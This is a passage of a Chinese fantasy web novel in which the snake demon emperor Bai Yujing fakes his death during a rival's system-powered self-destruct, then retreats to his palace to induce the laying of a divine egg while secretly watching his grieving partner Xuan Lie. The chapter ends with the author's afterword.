刹那间,乾坤域中的一切恶鬼尽数化为鲜血,流淌在血月之下那片暗红色的诡异大地上。 但是,碧魂为什么没死? 白玉京蹙眉看向乾坤境尽碎,却依旧伫立在原地的碧魂阎罗。 是魂修的能力?可是为什么感受不到灵力波动? 白玉京收起方才不紧不慢的姿态,立刻坐直了身体。 恰在此刻,一道清脆中略带迷茫的声音在他腹中响起:【……娘亲?】 【宝宝终于醒了。】几日没有听到妙妙的声音,白玉京闻言心下一喜,但还是纠正道,【说了多少次了要喊爹爹。】 然而,妙妙的状态似乎有些不太对:【饿……好饿,娘亲……】 白玉京闻言一怔,连忙哄道:【你父亲有事,等一下爹爹再喂你。】 【不、妙妙不吃父亲……】小天道的声音不知为何越来越大,像是发现了猎物的凶兽一般,【还回来……把妙妙的东西还回来……】 ……还回来什么? 白玉京突然意识到了什么,猛地扭头看向远处的鬼主,却见随着小天道的苏醒,他竟然看到了原本看不见的东西。 铺天盖地的幽蓝色线从天幕中垂下,宛如提线木偶一般缀在鬼主身上,硬生生将他禁锢在原地,不能活动,也无法消亡。 白玉京忍不住扶上小腹,他在此刻福至心灵地明白了妙妙想“吃”什么——它想吃掉那些幽蓝色的线,或者说,它想吃掉【系统】,从而夺回那东西从它手中窃取走的权柄。 像是在隐约间意识到了来自天道的威胁,系统蓦地开始催促沈风麟:【警告,警告!五星角色“碧魂”hp降为1,请宿主尽快收回角色!】 ……怎么办?要放弃吗?在这里放弃,一切可就功亏一篑了。 沈风麟死死地咬着牙,看着自己在血域中已经被侵蚀到露出骨头的双手。 别急,别急……只是一次副本失败而已,只要系统还在,一切都不成问题…… 沈风麟在心中不住地宽慰着自己。 玄冽身为最终boss,区区一张五星卡自然不可能那么轻易地战胜他。 但与此同时,另一道声音却在沈风麟心底响起——玄冽是唯一的渡劫期灵族,不杀死他,灵族卡池便永远无法启动,“新世界”的最终构图始终缺一角。 ……那现在到底该怎么办? 沈风麟握住自己白骨尽露的左手,看向那踏空向自己走来的身影,在极端的惊惧下,他反倒生出了一股前所未有的冷静。 ……不,其实没必要一定在此杀死玄冽。 只要暂时将玄冽重伤,便不再会有人妨碍自己寻找其他圣石。 而只要集齐三块圣石,将召唤阵升为六级,一切便会迎刃而解。 想到这里,剧烈的呼吸中,沈风麟反而越来越冷静。 对……就是这样,只需要让玄冽失去行动能力就好了,没有杀死他那么困难。 其实拜玄冽所赐,事情反而更简单,原本系统攻略中所说的隐藏boss妖皇,已经先一步陨落在他手下。 人皇已经完成收集,如今三尊渡劫只余下一个玄冽,只要自己耐心一点,不要这么急于求成,一切便能迎刃而解。 然而,沈风麟想到这里还没来得及高兴,那个挥之不去的阴霾便再一次浮上他的心头。 ——可是,白玉京区区一个金丹期的蛇妖,为何能脱离系统定位?那到底是玄冽的手笔,还是其他什么人的手笔? ……当自己孤注一掷地重伤完玄冽后,一切当真会迎刃而解么? 冥冥之中有什么不详的预感缓缓压下,可沈风麟却来不及想那么多了。 因为,那道如噩梦般的身影眨眼间已经逼近到了他的面前。 “——!” 那熟悉的,居高临下又极具压迫感的眼神中,不知为何多了几分让人毛骨悚然的冰冷怒意。 沈风麟汗毛倒立间立刻回神,反手在系统界面按下了一个按钮。 【宿主是否确定启动自爆功能(2/5)?】 【自爆功能已使用三次,仅剩两次,请宿主慎重选择。】 ……沈风麟想要自爆!? 白玉京闻声蓦然抬眸。 普通的合体期修士自爆不可能伤害到玄冽,可沈风麟身上带着那个诡异的系统,不可与寻常修士一概而论。 可为什么这个自爆功能他已经用了三次? 沈风麟这十八年间顺风顺水,除了上次于仙云台上被玄冽斩落外,从来没有出现过性命之忧,怎么会用了三次? 一共五次,用了三次仅剩两次…… 白玉京总觉得这个字眼有些熟悉,有什么东西呼之欲出,尚未来得及彻底想明白,便听沈风麟斩钉截铁道:【确定,启动自爆。】 “……!” 白玉京大脑尚未反应过来,身体便在听闻此话后骤然爆发出了一阵前所未有的妖力。 成熟体的通天蛇堪称遮天蔽日,沈风麟遥遥地看到那抹刺眼的雪白,第一时间却没能反应过来他是谁。 玄冽动作一顿,猛地扭头看向远处。 【自爆功能启动,加载中请稍后……】 小天道的声音伴随着系统声响起:【灵魂…燃烧……过去…饿、饿…娘亲……】 它说的语焉不详,白玉京却听懂了它的意思。 ——沈风麟的灵魂在燃烧,它想要到那边去,因为沈风麟自爆的过程中有它需要的食物。 自爆一共五次、仅余两次……灵魂燃烧…四成…… 这几个字眼在脑海中不断交叠组合,电光火石间,白玉京终于弄明白了方才那股熟悉感从何而来——沈风麟此刻仅剩四成的灵魂,和他剩余两次的自爆次数刚好能吻合! 也就是说,他每自爆一次便会燃烧两成灵魂,上一次在元婴大典上,妙妙说他灵魂尚余六成,几日前再见时他的灵魂便只剩下四成,中间的空白刚好对应上他被玄冽斩落的过程。 这也解释了他为何会在这么短的时间内重铸根基——恐怕根本不是重铸,而是自爆后,【系统】帮他重塑了一个崭新的身体。 白玉京的脑子从来没有转得这么快过,但他还是没想明白剩下两次自爆沈风麟到底用在了哪里,不过眼下他就算想明白这些事情暂时也起不到什么作用。 【自爆功能即将加载完毕(90%、91%……)】 沈风麟焦急地看着系统屏幕,还有百分之9,马上,马上就要成功了—— 然而,就在数字到达95%,那碍眼的老东西丝毫没有躲的意思,一切就要成功时——一道雪白的身影突然闪瞬而至,骤然挡在玄冽面前。 沈风麟一怔,不可思议地睁大眼睛,愕然地看向突然出现在自己面前的蛇妖。 ……为什么?为什么一只金丹蛇妖,能在他自爆之时如此精准地出现在他面前!? 恰在此刻,系统幽蓝色的界面上突然爆发出了一道尖锐刺目的红光,沈风麟蓦然低头,却见上面用鲜红的字体书写着: 【监测到天道残魂!】 【监测到天道残魂!】 【监测到天道残魂!】 天道不是已经被系统抹杀了吗?哪来的天道残魂!?而且为什么会在这个节骨眼上出现!? ……不对。 沈风麟突然意识到了什么,脑海中所有思绪尽数戛然而止。他在巨大的恐惧下,一帧一帧抬起头。 却见血红的天幕之下,蛇尾人身的诡艳生物冷冷地看着他,竖瞳之内没有丝毫人类该有的情绪,宛如上古神话中主宰一切的娲皇。 自以为杀死玄冽就能高枕无忧的少年,却在此刻瞳孔震颤,不可思议地看着昔日师尊头顶出现的那一排鲜红字体—— 【通天妖皇:白玉京】 【本体:通天蛇】 【境界:渡劫】 【星级:不明】 【血量:不明】 【乾坤域:不明】 【身份:万妖之主,天道之母】 【恭喜宿主发现“隐藏boss”,请再接再厉!】 骗人的吧……妖皇不是已经陨落了吗? 白玉京只有八百岁,为什么会是妖皇? 他分明只是一条蠢到连自己恩公是谁都分不清的幼蛇……到底为什么会是那个最终的隐藏“boss”?! 这不可能……这绝对不可能……! 沈风麟呆若木鸡地僵了一瞬,随即宛如疯癫般低头对系统怒吼:【停下自爆,系统,停下自爆——!】 白玉京有天道在身,系统衍生出的一切攻击对他皆无效,沈风麟瞬间便意识到这一次自爆注定徒劳无功。 不行,这可是他燃烧性命才换来的作弊功能,每一次都无比珍贵,绝不能如此浪费! 然而,系统就好似失去控制一样,冰冷的机械声继续响起:【自爆功能即将加载完毕(97%、98%……)】 【快停下——!】 没有任何普通修士自爆前该有的灵力波动,沈风麟的躯体就那么毫无征兆地轰然炸开,连玄冽都没能反应过来。 于是,噩梦重演。 巨大的威波以沈风麟为中心荡开,最大的冲击尽数炸在白玉京身上,剩下那些仅仅只是漏出的余波,便将下面的巫山群殿炸了个粉碎,甚至连玄冽的乾坤境都被炸出了一丝裂痕。 只是余波而已……那爆炸中心的人呢? 玄冽骤然回神,蓦地出现在白玉京身后,抬手将人抱到怀中,动作间竟然带着阵止不住的颤抖。 不过,实际上发生的事情却和他看到的截然不同。 沈风麟自爆爆发出的能量,一半被他身上的系统吞噬,另一半砸在白玉京身上,却被他腹中的小天道尽数吸收。 因此,白玉京非但没有受到任何伤害,反而感受到了一股前所未有的充盈。 尚未等他想明白为何小天道能和系统一样吸收这些能量,他便猛地一僵。 ——遭了。 腹中的金卵前所未有的沉重起来,仿佛拽着整个小腹往下坠去,俨然是即将生产的迹象。 好巧不巧玄冽居然在此刻从后面拥住他,白玉京一颤间,蛇尾瞬间濡湿一片。 ……眼下可是千载难逢的机会,再不跑恐怕真的就要来不及了。 白玉京立刻将这副身体调整为摇摇欲坠的状态,装作只是因为玄冽的乾坤域加持所以才能勉强存在。 同时,他在心下迅速通知花浮光:【姽瑶的巫祝保护下来了吗?】 花浮光到了事情上还算靠谱:【巫琴与那老王八都安全。】 白玉京心中松了口气:【好,你准备掩护本座离开。】 【是。】 白玉京还想调整一下面部表情,奈何时间紧迫,根本来不及调整,他索性把即将生育的难耐伪装成了被炸后强作镇定的痛苦,然后缓缓扭头,挣扎着看向玄冽。 ……是他的错觉吗? 他居然能从玄天仙尊万年不变的俊脸上看到恐惧二字,可真是精彩啊。 若不是时机不对,白玉京简直想把玄冽这张堪称肝肠寸断的容颜用留影镜记录下来。 他张了张嘴,似是竭尽全力想说话,奈何最终只挤出了一句轻如鸿毛的呓语:“郎君……” “别怕,先保留灵力。”玄冽立刻打断他,声音中竟带着肉眼可见的颤抖,“乾坤境未破,你不会有事。” ……你可真是不见棺材不落泪啊,仙尊大人。 白玉京颤抖着抬起右手,故意让那人眼睁睁看着他从指尖开始消散。 “——!” 眼见玄冽呼吸一滞,瞳孔不受控制地震颤,白玉京心下蓦地泛起了一阵难言的畅快。 午夜梦回,你会梦到这一幕吗,玄冽? 你会想起你我重逢之后的每一个瞬间吗? 你是否会后悔,你我之间分明有那么多个瞬间,可是到最后你也没能告诉我真相呢? 白玉京露出了一个人虚弱的笑容,不止指尖,竟连尾尖也开始缓缓消弭。 就像是如钝刀子割肉一般,将原本转瞬即逝的巨大痛苦缓缓延长,只为了满足白玉京欣赏痛苦的癖好。 然而,出乎他意料的是,玄冽见状竟还不死心,回神后立刻将乾坤境开到极致,包裹住整个太微,企图将时间永远停在这一刻。 白玉京心头一僵,差点演不下去。 要抗衡眼下失心疯的玄冽,哪怕是妖皇,也得拿出点看家本事来。 他一边在心头暗骂沈风麟废物,打到最后还能让玄冽有能力把乾坤境开到这种程度,一边咬着牙抵抗时停的影响,含泪拥住玄冽,轻声呢喃道:“郎君……我其实一直想这么唤你一次,却没来得及……” 他带着浓烈的恶意与怨恨,却伪装成虚弱与痴恋,在那人耳畔轻声低语道: “夫君。” 他满意地看到玄冽颈侧骤然暴起的数条青筋,却仍嫌不够,杀人诛心道:“我和恩公同归于尽……这辈子,卿卿就不再欠他了……” “如果有下辈子的话,你愿意……” 说到这里,他却突然停下了。 玄冽带着难以言语的悔恨低头,却见怀中人竟然已经消散到了脖颈处,所以他连声音都已经发不出来了。 玄冽蓦然抵住他的额头,近乎虔诚般颤抖道:“我愿意,别离开我……卿卿……我愿意……” ——原来石头也会流泪吗? 白玉京忍不住笑了一下,用口型轻轻道: 【来生再见了……夫君。】 下一刻,玄冽手中猛地一空,那人彻底消散在他的怀抱中,连一滴泪都没有给他留下。 作者有话说: 嘿嘿嘿嘿嘿嘿,终于写到这里了! 今天是隐藏boss小蛇![奶茶][奶茶] 第41章 镜像 十日之后, 青丘大世界。 白玉京捧着已经遮不住的肚子,围着妖皇宫不紧不慢地走着,身后跟着两位侍者, 身旁则跟着万相妖王花浮光。 他先前为了显得娇艳,特意压低了一点身高以博取玄冽的怜爱, 如今恢复了妖皇之身,身高自然也恢复到了最初的模样。 此刻, 白玉京微微仰着下巴, 俨然对自己真正的容颜无比得意。 那张脸皎洁若明月, 媚态尽散后, 不容侵犯的圣洁之感迎面而来, 美得宛如皓月当空, 扑面而来的压迫感中, 让人难生亵渎之心。 妖宫周围的侍者看到他缓缓走来,纷纷停下动作垂首行礼道:“参见吾皇。” 白玉京淡淡点了点头,下意识想去摸手腕上的玉镯,入手之间却尽是凉意, 刺得他下意识收起指尖。 ……他怎么把这件事给忘了, 自己先前已经连哄带骗地把那枚血玉镯还给了玄冽,如今戴在他手腕上的是他精挑细选出来的赝品。 沈风麟自爆的当日, 白玉京便在蜂群的护佑下回到了妖界。 甚至都没有隔夜, 回到妖界的第一天, 白玉京便感觉原本沉甸甸的手腕突然变轻,一时间有些不适应。 为此, 他第二日便从自己妖皇宫的宝库中精挑细选出了一块白玉, 亲自打磨做成了玉镯戴在手上。 只不过坠在手腕上的重量是够了, 奈何蛇妖体温本来就低, 白玉京宝库中所藏的尽是些冷玉,戴在手腕上完全没有那种灼烫感,他反而更不适应了。 ……罢了,替代品终归比不过真品,先将就着先戴吧。 白玉京就那么一边摸索着手腕上微凉的新玉镯,一边思索着十日未曾想明白的疑点。 目前可以确定的是,沈风麟的自爆次数和他灵魂的燃烧程度呈势必有着不可分割的关系,由此可以推算,他上一次自爆应当是玄冽将他从仙云台上斩落的那次。 但再之前的两次呢? 从沈风麟八岁开始,至今的十年间,白玉京从未让他真正陷入过任何性命攸关的境地,这期间不可能有他需要自爆白玉京却不知道的情况。 不是这十年之中发生的……那就是更之前的事了。 白玉京蹙眉垂下眼眸,看着自己隆起的小腹,脑海中却没由来地想到了“恩公”早夭的那两世。 也是两次,这个数倒是和沈风麟自爆的次数刚好吻合……会是巧合吗? 灵族没有来世,况且当时玄冽正好好地活在世界上,那所谓的两世就不可能是他的转世。 等等,不对……玄冽和那两世确实同时存在于世界上,而且时间线居然吻合得严丝合缝。 白玉京蓦地攥紧手上的玉镯,突然想起了一件更蹊跷更吊诡的巧合——“恩公”第一世出现的时间,几乎和他与玄冽重逢之时一模一样。 ……为什么? 白玉京骤然停下脚步,摩挲着玉镯开始在脑海中重新梳理时间线。 他一百岁时,玄冽莫名其妙的消失,将他一个人抛在了山脚下。 之后一百年间,白玉京没有感受到任何与恩公有关的气息,也没有感受到所谓的“转世”出现。 也是在这一百年内,白玉京的心情完成了从惶恐、无助到怨恨的转变,为此他一改幼时不愿吃苦的娇气毛病,硬是只用了一百年便修成渡劫之姿,由此登临妖皇之位。 在他二百零一岁时,仙尊玄冽“出关”,那是他与玄冽的第一次相遇,也是他和恩公的真正重逢,只可惜,“对面相见不相识”,他根本没有认出对方。 也几乎是在他与玄冽重逢的同一时间,“恩公”转世的气息出现了。 但当时的白玉京恨意未消,故意迟了两天才去寻找那所谓的转世,未曾想,待他找到之时那人的第一世已经成了婴骸。 对此白玉京悔恨不已,堪称痛不欲生,原本对恩公的怨恨瞬间便被自己晚来一步的自责与悔意淹没。 此后又过了二百年,白玉京四百岁时,那道转世气息再次出现,这次他抛下手中之事立刻赶去,未曾想还是迟了一步。 “恩公”的第二世在他赶到前不足一炷香的时间内,失足淹死在池水之中,死时仅有三岁。 再之后,又过了将尽四百年的时间,差不多是白玉京七百九十一岁时,第三道转世气息出现,他立刻假死于玄冽面前,不顾一切赶到气息源头,终于见到了活生生的“恩公”,也就是沈风麟。 可是,沈风麟那时已经八岁了,也就是说在此之前的八年中,他的身上没有任何与恩公相似的气息,但当他八岁的那一瞬间,他立刻便拥有了和恩公一模一样的气息。 ……为什么? 一切怪异而不合理的疑点汇聚在一起,织成了一副更加怪异的猜想。 就好像系统在尝试着将“恩公”的气息灌入不同的皮囊内,以此试探哪一具身体的天赋足以承受那股气息。 前两次失败了,“沈风麟”是第三次。 “……” 白玉京后知后觉地感受到了一股难以言喻的毛骨悚然。 所以,玄冽突然消失的那一百年中,到底发生了什么?为什么系统能够窃夺他的气息?为什么再次重逢时,他的气息和自己幼时面对的截然不同? 当一处疑点浮现后,剩余密密麻麻的疑点便会随着抽丝剥茧,逐渐破土而出。 时间线拉到十天前,沈风麟在自爆之前,看到自己时却突然露出了无比惊恐的表情,而后突然精神失常般,猛烈地要求系统停下自爆。 那不是被背叛的恼怒,也不是对计划或许会失败的恐惧,反而像是看到了什么不可名状、也不该在这世界上存在的事物。 ……他发现了什么。 几乎是刹那间,白玉京便通过直觉判断出了这个结果。 但至于沈风麟到底发现了什么,他暂时没有太多头绪。 比较坏的情况是他察觉到了自己妖皇的身份,更进一步讲,他或许能通过系统窥探到自己受孕的状态。 而照着这一种可能继续想下去,最坏的结果则是——小天道的存在已经暴露。 白玉京忍不住抚上小腹,轻轻咬了咬下唇。 但事情到这里又出现了一些问题,如果小天道当真已经暴露,系统应该比他更清楚,沈风麟的自爆对自己无效甚至有益才对,为什么会不愿意让他停下? 难道……系统和沈风麟之间,也并非毫无嫌隙吗? 白玉京想不明白。 自沈风麟自爆那一日算起至今已过去十日,整个事情都透着股诡异的平静,甚至包括他腹中的小天道。 原本在自爆之时就控制不住,几乎要当着玄冽面落地的金卵,回到妖界后不知为何一下子没了动静,甚至目前内窥进去可以看到,原本金色的卵正在缓缓褪色,如今已经有些接近白色了。 如果真像白玉京猜的那样,系统大概率会随着沈风麟自爆的次数增加而逐渐变强,因此天道降生的时间拖得越久对他们越不利。 为此,白玉京几乎日日找花浮光询问催产的事,从一开始羞耻得难以启齿,到现在把人带在身边时刻监控自己的状况,他只用了不到八日。 ……怎么不算一种为母则刚呢。 白玉京苦中作乐地在心头钦佩自己,眼下他正根据蜂王的建议绕着妖皇宫踱步,希望能通过这种最原始的方式刺激产道……当然他完全不想知道自己作为一条雄蛇,产卵时会发生什么事情。 ——“雄蛇与雌蛇的构造不同,天生没有孕育子嗣的能力,因此泄殖腔深处并非和雌蛇一样没有感知能力。” “眼下您这种状况,产卵之时恐怕会受到过度的刺激,甚至会在产到一半时因为承受不住刺激而晕倒……还请您做好准备。” 以上内容都是伟大的万相妖王翻阅了无数古籍后得出的推断,但往日话异常多的花浮光,今天不知道怎么了,面色异常微妙不说,几次看向白玉京时都显得有些欲言又止。 白玉京哪怕一直沉浸在思索中,还是被她看得头皮发麻,忍不住道:“你有话就直说。” 花浮光憋了足足十天,到今天总算有些忍不住了,沉默了半晌后还是开口道:“所以您说的报复玄冽,就是把自己……” ——就是把自己炸一遭,然后让他彻骨铭心? 这算哪门子报复?但见鬼的是,效果居然确实挺好。 花浮光虽然没把话说完,但她的神态已经替她把话说完了。 “你懂什么。”白玉京轻哼一声道,“当年本座在他本体上生生撕开了一道足以将他劈开的伤口,他却眼睛都没眨一下。” “甚至再见面时,他抬手便能把眼睛剜下来给我,你觉得对于他这种人,就算把他整块石头都给磨碎了,他能有半点反应吗?” “等等,停一下——” 花浮光闻言瞠目结舌道:“什么眼睛?” “本座先前戴的那个红玉镯就是玄冽的眼睛。”白玉京说着晃了晃手腕上的新玉镯,“不然你以为我为什么一定要把那镯子还给他?” 花浮光:“……” 蜂王叱咤情场上千年,显然也没见过这种荒谬的事情,一时间惊呆了。 她回过神后的第一反应便是去看白玉京手腕上那个通透清澈的新玉镯。 联想到玄冽为了监视白玉京,连眼睛都能挖下来送他的偏执程度,花浮光一时间比白玉京还要胆战心惊,非常想问要是这新镯子被玄冽发现了怎么办。 但看着白玉京胜券在握有恃无恐的样子,她最终还是把话咽了下去,转而道:“您就不能效仿大巫,把他的灵心剖出来吗?” “试了。”白玉京从身后侍者的银盘上拿了一枚酸味浓郁的灵果,咬了一口道,“在他胸腔里找了半天没找到灵心,只能作罢了。” 花浮光:“……” 所以他们两人当真是道侣吗? 对着认定的伴侣能下如此死手,完全超出通天蛇的本性了吧……不愧是万妖之主。 “……吾皇此招确实高明。”花浮光发自内心说完,又斟酌着道,“眼下三千界都在传玄冽的事。” 她的子嗣遍布三千界,能让她说出这种话,显然事情已经是闹得沸沸扬扬了。 白玉京闻言饶有兴致道:“怎么个传法?说玄天仙尊把人肚子搞大又始乱终弃,最后一尸两命吗?” 花浮光:“……” ……如此杀敌八百自损一千的传闻,传出去到底对他有什么好处? 所以他分明还是对自己没能怀上玄冽的孩子而耿耿于怀吧! 花浮光忍了又忍,还是没忍住道:“您不是不愿意让天下人知道您受孕一事吗?” “哦,本座忘了,真是可惜。”白玉京扶着肚子半真半假地叹息道,“这孩子但凡真是玄冽的,本座就昭告天下了,现在还能看看乐子。” ……果然是在耿耿于怀孩子不是玄冽的吧。 花浮光闻言一下子沉默了。 白玉京上一刻还一副看笑话的语气,下一刻便漫不经心道:“所以他到底怎么了?” 花浮光道:“其实也没什么。” 说完,她故意停顿了一下,直到白玉京忍不住扭头看向她,她才不紧不慢道:“只是天下人都说……因爱妻身亡,仙尊哀默欲绝,守丧于竹屋前,至今已有十日未曾移步了。” “……” “哪来的竹屋?”白玉京一怔:“那竹屋不是已经成废墟了吗?” “就是您和玄冽先前住的那处星竹苑,大巫与灵主的旧址,如今世人都说星竹苑不详。”花浮光解释道,“您忘了,您那一日‘身死’……刚好就是在那片废墟上。” 白玉京闻言一下子怔在原地,他确实不知道,当时事发突然,他根本没来得及往下面看。 没想到最终又回到了那个竹屋,他一时间有些怔愣,半晌,从心尖上泛出了一点说不出的滋味,像是酸楚,又像是不忍。 ……他是想让玄冽长点记性,却没想到最后兜兜转转会绕回到竹屋的废墟上。 一整夜的耳鬓厮磨与第二日的肝胆俱裂,好巧不巧竟然发生在了同一处……该说是天意吗,玄冽? 白玉京抿着唇,下意识摸上手腕处的玉镯,却被那陌生的凉意刺得下意识松开。 哪怕已经戴了九日,他的身体依旧没有适应。 这不是夫君的眼睛,身体的反应无一不在指责他,夫君正在为你守丧,而你却背着他有了新欢…… 白玉京腿根一颤,竟生出了些许背德般的心慌。 花浮光见他半晌不说话,不由道:“吾皇,您腹中之卵……恐怕并非寻常之物吧?” 她当然不会蠢到当真以为,通天蛇会背叛伴侣怀上其他什么人的子嗣。 白玉京回过神应了一下:“嗯,何事?” “属下只是想问,需要召集霜华他们三个吗?”花浮光见他因玄冽的事变得心神不宁,转移话题道,“狐狸和他的小狗最近好像正在吵架,需要找他们俩的话,恐怕得提前通知。” 白玉京闻言果真来了些许兴致:“涂山侑恨不得把他那狗崽子搂到怀里天天喂奶,他们俩居然还会吵架?” 花浮光显然知道些什么,不紧不慢道:“或许正是因为过于亲密,所以才会生出嫌隙。” 白玉京没听出她的话里有话,咽下最后一口灵果道:“那让他们先吵几天,过几天再喊他们。” 花浮光点了点头:“是。” 一整颗灵果入腹,那枚渐渐消退金光的卵依旧没有任何动静,白玉京蹙眉道:“在太微的时候,这卵恨不得顺着我的腿直接滑出来,怎么回到青丘就没音了,卵还能水土不服吗?” 花浮光闻言睁开本相的复眼,观察了一下道:“奇怪,明明已经到了瓜熟蒂落的时候……这几日一点动静都没有吗?” “没有。”白玉京面色不由得凝重下去,“再这么下去恐怕要……有没有什么催产的办法?” 花浮光见状面色也严肃下去:“寻常办法对您腹中那位恐怕不管用。或许只有刺激母体这一条办法了。” 她为了妖皇的颜面,说得比较委婉,偏偏白玉京毫无生育经验,闻言丝毫没听出她的意思,当着妖侍的面扭头便道:“什么叫刺激母体?怎么个刺激法?” 花浮光:“……您确定要属下在这里说吗?” 两人就那么在阳光下对视了半晌,白玉京突然面色爆红,故作镇定地收回视线道:“我知道了,你不用说了。” 言罢他转身就往妖皇宫走去,花浮光连忙用神识传音道:【吾皇,我听说一些人族女子会选择水下生育的方式来促进生产。虽然妖族与人族不同,但对于蛇类的体温来说,适当温度的灵泉或许可以模拟情动的炙热感,从而刺激产道,以达到产卵的目的。】 白玉京面色通红,头也不回地走进妖皇宫:【本座知道了。】 偏偏先前对任何事都不感兴趣的花浮光,眼下对此事不知为何显得异常热情:【灵泉在体外没办法达到刺激目的,需要将灵泉——】 【本座说知道了!】 白玉京挥退迎上来的妖侍,一个人走进浴宫。 看着面前雾气氤氲的池水,在脱衣服之前,白玉京忍不住又看了一眼手腕上冰凉的素白玉镯。 但这次无论他如何凝视,玉镯上也没有花纹浮现,白玉京见状放下手腕,竟然感觉有些无趣。 不过……你以为只有你会用本体监视人吗,玄冽? 白玉京轻笑一声,反手割开指腹,在雾气氤氲的水面上轻轻一滴。 以血为媒,血色瞬间在温泉表面形成了一张水膜,一副画面便缓缓出现在水膜之上。 白玉京不紧不慢地打了个响指,那张水膜便从水面上缓缓浮起,最终如留影镜一般悬在他面前,将妖血另一端的画面毫无保留地映照出来,一览无余。 看到画面的一瞬间,白玉京便不由得一怔。 却见玄冽当真一袭血衣,一动不动地立于废墟之前。 原本如雪的素白衣摆上,依旧印着十日前恶鬼泯灭时溅上的鲜血,甚至连他的脸侧都飞溅着暗红的鬼血,宛如业火般灼烧着他的面容。 那张英俊到近乎完美的脸上没有任何表情,却流露出一股让人窒息的悲恸。 玄冽的神色与面颊的血色形成了鲜明的对比,他就那么霜冻般立于废墟之前,仿佛在那里守了一万年那么久。 不知道是不是白玉京的错觉,玄冽的情绪仿佛被抽离一般,整个人生冷得显得有些瘆人。 此刻的玄冽不像是仙尊,甚至不像是一个活生生的人,更像是一尊用悔意与悲恸雕琢出的玉雕。 没有人比白玉京更清楚后悔是什么滋味。 因为自己的怠慢,导致“恩公”的第一世夭折时,他捧着那个小小的婴骸哭了整整一夜,悔意像是荆棘般爬满了他的整颗心脏。 所以他无比清楚玄冽此刻的心情,后悔会吞噬掉他的所有骨血与情绪,扭曲那些本该鲜活的记忆,最终只剩下无穷无尽的自责与哀恸。 妖血凝成的水镜实在是过于清晰了,清晰到白玉京甚至能看到玄冽嘴唇上未愈合的一道小伤。 ——那是那一夜白玉京情不自禁时留下来的,没有动用丝毫妖力,玄冽只要想,随时可以让那个伤口愈合。 可是他没有。 白玉京见状心下不受控制地抽痛了一下,但很快他便在心底提醒自己。 ……别心软,白卿卿,想想那王八蛋先前是怎么对你的。 白玉京攥着手心,强迫自己回忆起那个梦境中,不顾他哭喊依旧要消除他记忆的玄冽。 越是回忆,他心头那股不忍与心头便越浅,到最后,怜悯与愧疚尽数消散,只剩下一阵扭曲般的快意。 ……这都是你应得的,王八蛋。 白玉京一眨不眨地凝视着画面之中的人,反手一件件脱下身上的外衣。 随着布料的减少,他隆起的小腹再藏不住,哪怕无法窥探到他腹中的天道,外人也能一眼看出他怀了什么人的卵。 之所以说是卵,是因为哪怕临产,白玉京小腹隆起的程度依旧很浅,不像是一个足月的孩子。 但对于毫无经验,刚刚成熟便要担当起生育责任的小蛇来说,一枚卵的重量便已经足够重了。 白玉京抿着下唇,扶着小腹一步步走进池水中,直至将自己彻底浸泡在其中。 花浮光给的建议是对的,温泉似乎确实对蛇类催产有着意想不到的作用。 白玉京刚刚靠坐在池边,呼吸便不由自主地急促起来,他回忆起花浮光几次三番的嘱咐,强忍住羞耻按照她的建议去做。 好像确实……能起效果…… 他微微仰起脸,缓了片刻后才睁开眼,隔着氤氲的雾气看向眼前的画面。 没了那一层怜悯与愧疚后,白玉京以一种微妙的视角打量着画面中的玄冽——像个死了老婆的英俊鳏夫。 他忍不住眯了眯眼,带着微妙的恶趣味想到,像这种自以为失去一切感情的玄冽招惹起来才有趣。 对了,他依稀记得当时玄冽似乎抱着他哭了是吧? 真可惜,没能记录下来。 白玉京就那么一边颤栗着一边抬起上半身,缓缓凑到那张用血水绘制的水幕前,胸口的玉佩随之在雾气中摇曳。 他用手指轻轻拨弄过水幕上那人的容颜,划出一片涟漪。 “我的好夫君,”仗着无人能听到,白玉京托着下巴,对着画面肆无忌惮地撒娇道,“卿卿怀了你的孩子呢,你还不知道吧?” “……” 画面中那人一如既往地站在那里,对此毫无反应。 前所未有的掌控感骤然席上心头,白玉京被刺激得头皮发麻,故意停顿了半晌才笑着改口:“骗你的,灵族怎么可能会有孩子呢?” “卿卿怀的可不是你的宝宝。” “……” 画面之中的男人依旧毫无反应。 “算一算时间,卿卿一个月之前就已经怀上了宝宝,那时候似乎还没遇到你呢,夫君。” 恶毒的美人露出了一个充满恶意的笑容:“所以我离开你是为了你好啊,夫君。” “不然,你只能眼睁睁看着卿卿在你的床上把它给生下来……多可怜啊,我可不舍得那样对我爱的人。” 白玉京原本只是自娱自乐地过一过嘴瘾,然而说着说着,他竟当真来了兴致,一阵阵熟悉的刺激从小腹处泛起。 ——花浮光说的办法居然当真有用。 但,无论白玉京怎么引导着水流刺激,他总感觉还差一步。 “……” 方才还口不择言的小美人突然止住话头,像是不敢和画面中的人对视一样,有些羞耻的垂下眼眸。 不过很快白玉京便强迫自己压下那阵羞耻。 ……管他呢,又不是真的给玄冽戴绿帽子。 况且他也不可能听到,刺激母体就是要用足够手段,不然怎么达到目的? 想到这里,白玉京颤抖着睫毛,深吸了一口气闭上双眼。 奈何他刚闭上眼,整个人便骤然一僵:“夫君……” 手腕上那枚陌生的玉镯在泉水的炙热下显得格外冰冷。 巨大的背德感攀上脑海,随之而起的报复感更是让他控制不住想要勾起嘴角。 白玉京在雾气氤氲间抬眸,看向画面中那个无动于衷的男人,心下骤然泛起了一股恶劣无比的情绪。 可惜……真是好可惜啊……你怎么就看不到呢,夫君? 不过任由他再怎么恶劣,通天蛇忠贞的天性也只够让他做到这一步,不敢当真再进一步。 但只是这一点便已经够了。 “……!” 泪珠的氤氲扭曲了眼前的画面,恍惚中,白玉京仿佛看到玄冽带着滔天的冰冷怒火凝视着他。 然而当他呜咽一声强迫自己回神时,画面中的人依旧哀默肃穆地站在废墟之前。 说不出是松了口气还是失望,白玉京蓦然加快动作,放任自己晕开瞳色。 最终他猛地一颤,死死地夹住右手,半阖着眼歪倒在池水边细密颤抖起来。 那只圆润可爱的玉蛇贴在胸口黏腻柔软的肌肤上,随着他的呼吸而不断起伏。 白玉京眼前闪过阵阵白光,再加上身处妖皇宫这种熟悉又安全的地方,懈怠叠加愉悦之下,他一时失去了对周围的感知,就那么餍足地伏在池水边。 因此他并未看到,画面中原本宛如雕塑,从始至终未动一下的人,却在此刻面无表情地缓缓扭过头,脸上带着瘆人的血痕,一眨不眨地看向某处。 作者有话说: 有男鬼啊,小蛇快跑!! 下章文案剧情,嘿嘿嘿[奶茶][奶茶] 不过大家一定要注意身体,我这一个月因为论文+更新熬夜熬的太多,今天早上起来后突然头晕砸在地上了[爆哭][爆哭]幸好妈妈在旁边,也只晕了几秒,没什么大事,就是把家里猫猫吓到了[可怜]大家不要学我,一定要早睡早起呀! 第42章 降生 